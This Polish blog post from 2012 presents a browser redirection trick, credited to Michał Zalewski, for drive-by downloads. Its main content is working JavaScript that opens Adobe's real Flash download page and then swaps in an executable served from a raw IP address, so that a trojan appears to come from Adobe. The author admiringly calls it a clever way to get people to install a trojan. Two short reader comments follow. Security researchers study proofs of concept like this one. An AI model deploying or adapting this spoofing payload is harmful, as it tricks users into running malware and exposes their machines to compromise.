drive-by-download made easy 15 June 2012

A właściwie to trick z przekierowaniem działający na każdej przeglądarce zaprezentował niedawno Michał Zalewski na swoim blogu.

Nieświadomy użytkownik, otwierając stronę adobe.com zostanie poproszony o zapisanie pliku flash11_updater.exe. Wszystko wygląda dość wiarygodnie: mamy prawidłową stronę download adobe, a po chwili plik exe – zupełnie tak, jakbyśmy pobierali wtyczkę flasha. Problem polega na tym, że o ile strona jest w porządku, o tyle plik *.exe już nie. Atakujący podstawia go ofierze poprzez funkcję javascript

<input type=submit onclick="doit()" value="Click me. I like to be clicked.">
<script>
var w;
var once;

function doit() {

  if (navigator.userAgent.indexOf('MSIE') != -1)
    w = window.open('page2.html', 'foo');
  else
    w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869">', 'foo');

  setTimeout(donext, 4500);

}

function donext() {
  window.open('http://199.58.85.40/download2.cgi', 'foo');
  if (once != true) setTimeout(donext, 5000);
  once = true;
}
</script>

Bardzo sprytny sposób na nakłonienie kogoś do ściągnięcia i zainstalowania sobie trojana. Brawo Michał!

Tagi: , , , ,


Odpowiedzi: 2 do wpisu “drive-by-download made easy”

  1. cond says:

    szkoda, że nie pokazałeś co zawiera np page2.html – wiem, wiem, czytałem wpis Lcamtufa, po prostu musiałem się do czegoś przyczepić ;)

  2. d2 says:

    Panie Ciekawski, page2.html zawiera to samo, co widać w wylistowanym źródle (od taga meta).

Zostaw odpowiedź